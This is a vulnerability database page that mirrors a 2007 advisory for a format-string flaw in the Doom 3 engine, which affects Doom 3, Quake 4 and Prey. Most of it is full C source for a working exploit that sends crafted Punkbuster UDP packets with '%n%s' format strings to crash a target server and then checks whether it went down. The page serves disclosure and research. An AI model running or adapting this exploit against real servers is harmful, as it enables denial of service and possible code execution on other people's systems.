Lucene search
K

id Software Doom 3 Engine Console String Visualization Format String Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 9 Views

Doom 3 engine has a format-string vulnerability allowing code execution by attackers.

Code

                                                source: http://www.securityfocus.com/bid/25893/info

id Software Doom 3 engine is prone to a format-string vulnerability.

Exploiting this issue will allow attackers to execute arbitrary code with the permissions of a user running the application. Failed attacks will likely cause denial-of-service conditions.

Several games that use the Doom 3 engine are affected, including Doom 3, Quake 4, and Prey. 

/*

by Luigi Auriemma

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <stdarg.h>

#ifdef WIN32
    #include <winsock.h>
    #include "winerr.h"

    #define close   closesocket
    #define sleep   Sleep
    #define ONESEC  1000
#else
    #include <unistd.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <arpa/inet.h>
    #include <netinet/in.h>
    #include <netdb.h>

    #define ONESEC  1
    #define stristr strcasestr
#endif

typedef uint8_t     u8;
typedef uint16_t    u16;
typedef uint32_t    u32;



#define VER         "0.1"
#define DOOM3_QUERY "\xff\xff" "getInfo\0" "\0\0\0\0"
#define FSTRING     "%n%s%n%s%n%s%n%s%n%s%n%s"
#define D3ENGFSPB1  "\xff\xff\xff\xff" "PB_Y" FSTRING
#define D3ENGFSPB2  "\xff\xff\xff\xff" "PB_U" "\xff\xff\xff\xff" \
                    "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" \
                    "127.0.0.1:1234;" FSTRING ";"




int gs_handle_info(u8 *data, int datalen, int nt, int chr, int front, int rear, ...);
int send_recv(int sd, u8 *in, int insz, u8 *out, int outsz, struct sockaddr_in *peer, int err);
int timeout(int sock, int secs);
u32 resolv(char *host);
void std_err(void);



int main(int argc, char *argv[]) {
    struct  sockaddr_in peer;
    int     sd,
            len,
            noquery = 0;
    u8      buff[8192];

#ifdef WIN32
    WSADATA    wsadata;
    WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

    setbuf(stdout, NULL);

    fputs("\n"
        "Doom 3 engine format string exploitation through Punkbuster "VER"\n"
        "  Doom 3    <= 1.3.1   (default port 27666)\n"
        "  Quake 4   <= 1.4.2   (default port 28004)\n"
        "  Prey      <= 1.3     (default port 27719)\n"
        "by Luigi Auriemma\n"
        "e-mail: [email protected]\n"
        "web:    aluigi.org\n"
        "\n", stdout);

    if(argc < 3) {
        printf("\n"
            "Usage: %s <host> <port>\n"
            "\n", argv[0]);
        exit(1);
    }

    peer.sin_addr.s_addr = resolv(argv[1]);
    peer.sin_port        = htons(atoi(argv[2]));
    peer.sin_family      = AF_INET;

    printf("- target   %s : %hu\n",
        inet_ntoa(peer.sin_addr), ntohs(peer.sin_port));

    sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if(sd < 0) std_err();

    printf("- query server:\n");
    len = send_recv(sd, DOOM3_QUERY, sizeof(DOOM3_QUERY) - 1, buff, sizeof(buff), &peer, 0);
    if(len < 0) {
        printf("- no reply received, I try to continue\n");
        noquery = 1;
    } else {
        gs_handle_info(buff, len, 0, '\0', 23, 8, NULL);
    }

    sleep(ONESEC);
    printf("- send malformed packets\n");
    len = send_recv(sd, D3ENGFSPB1, sizeof(D3ENGFSPB1) - 1, NULL, 0, &peer, 1);
    len = send_recv(sd, D3ENGFSPB2, sizeof(D3ENGFSPB2) - 1, NULL, 0, &peer, 1);

    if(noquery) {
        printf("- the server should have been crashed, check it manually\n");
    } else {
        printf("- wait some seconds\n");
        sleep(ONESEC * 3);

        printf("- check server:\n");
        len = send_recv(sd, DOOM3_QUERY, sizeof(DOOM3_QUERY) - 1, buff, sizeof(buff), &peer, 0);
        if(len < 0) {
            printf("\n  Server IS vulnerable!!!\n");
        } else {
            printf("\n  Server doesn't seem vulnerable\n");
        }
    }

    close(sd);
    return(0);
}



int gs_handle_info(u8 *data, int datalen, int nt, int chr, int front, int rear, ...) {
    va_list ap;
    int     i,
            args,
            found;
    u8      **parz,
            ***valz,
            *p,
            *limit,
            *par,
            *val;

    va_start(ap, rear);
    for(i = 0; ; i++) {
        if(!va_arg(ap, u8 *))  break;
        if(!va_arg(ap, u8 **)) break;
    }
    va_end(ap);

    args = i;
    parz = malloc(args * sizeof(u8 *));
    valz = malloc(args * sizeof(u8 **));

    va_start(ap, rear);
    for(i = 0; i < args; i++) {
        parz[i]  = va_arg(ap, u8 *);
        valz[i]  = va_arg(ap, u8 **);
        *valz[i] = NULL;
    }
    va_end(ap);

    found  = 0;
    limit  = data + datalen - rear;
    *limit = 0;
    data   += front;
    par    = NULL;
    val    = NULL;

    for(p = data; (data < limit) && p; data = p + 1, nt++) {
        p = strchr(data, chr);
        if(p) *p = 0;

        if(nt & 1) {
            if(!par) continue;
            val = data;
            printf("  %30s %s\n", par, val);

            for(i = 0; i < args; i++) {
                if(!stricmp(par, parz[i])) *valz[i] = val;
            }
        } else {
            par = data;
        }
    }

    free(parz);
    free(valz);
    return(found);
}



int send_recv(int sd, u8 *in, int insz, u8 *out, int outsz, struct sockaddr_in *peer, int err) {
    int     retry,
            len;

    if(in && !out) {
        if(sendto(sd, in, insz, 0, (struct sockaddr *)peer, sizeof(struct sockaddr_in))
          < 0) std_err();
        return(0);
    }
    if(in) {
        for(retry = 2; retry; retry--) {
            if(sendto(sd, in, insz, 0, (struct sockaddr *)peer, sizeof(struct sockaddr_in))
              < 0) std_err();
            if(!timeout(sd, 1)) break;
        }

        if(!retry) {
            if(!err) return(-1);
            printf("\nError: socket timeout, no reply received\n\n");
            exit(1);
        }
    } else {
        if(timeout(sd, 3) < 0) return(-1);
    }

    len = recvfrom(sd, out, outsz, 0, NULL, NULL);
    if(len < 0) std_err();
    return(len);
}



int timeout(int sock, int secs) {
    struct  timeval tout;
    fd_set  fd_read;

    tout.tv_sec  = secs;
    tout.tv_usec = 0;
    FD_ZERO(&fd_read);
    FD_SET(sock, &fd_read);
    if(select(sock + 1, &fd_read, NULL, NULL, &tout)
      <= 0) return(-1);
    return(0);
}



u32 resolv(char *host) {
    struct  hostent *hp;
    u32     host_ip;

    host_ip = inet_addr(host);
    if(host_ip == INADDR_NONE) {
        hp = gethostbyname(host);
        if(!hp) {
            printf("\nError: Unable to resolv hostname (%s)\n", host);
            exit(1);
        } else host_ip = *(u32 *)hp->h_addr;
    }
    return(host_ip);
}



#ifndef WIN32
    void std_err(void) {
        perror("\nError");
        exit(1);
    }
#endif



                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation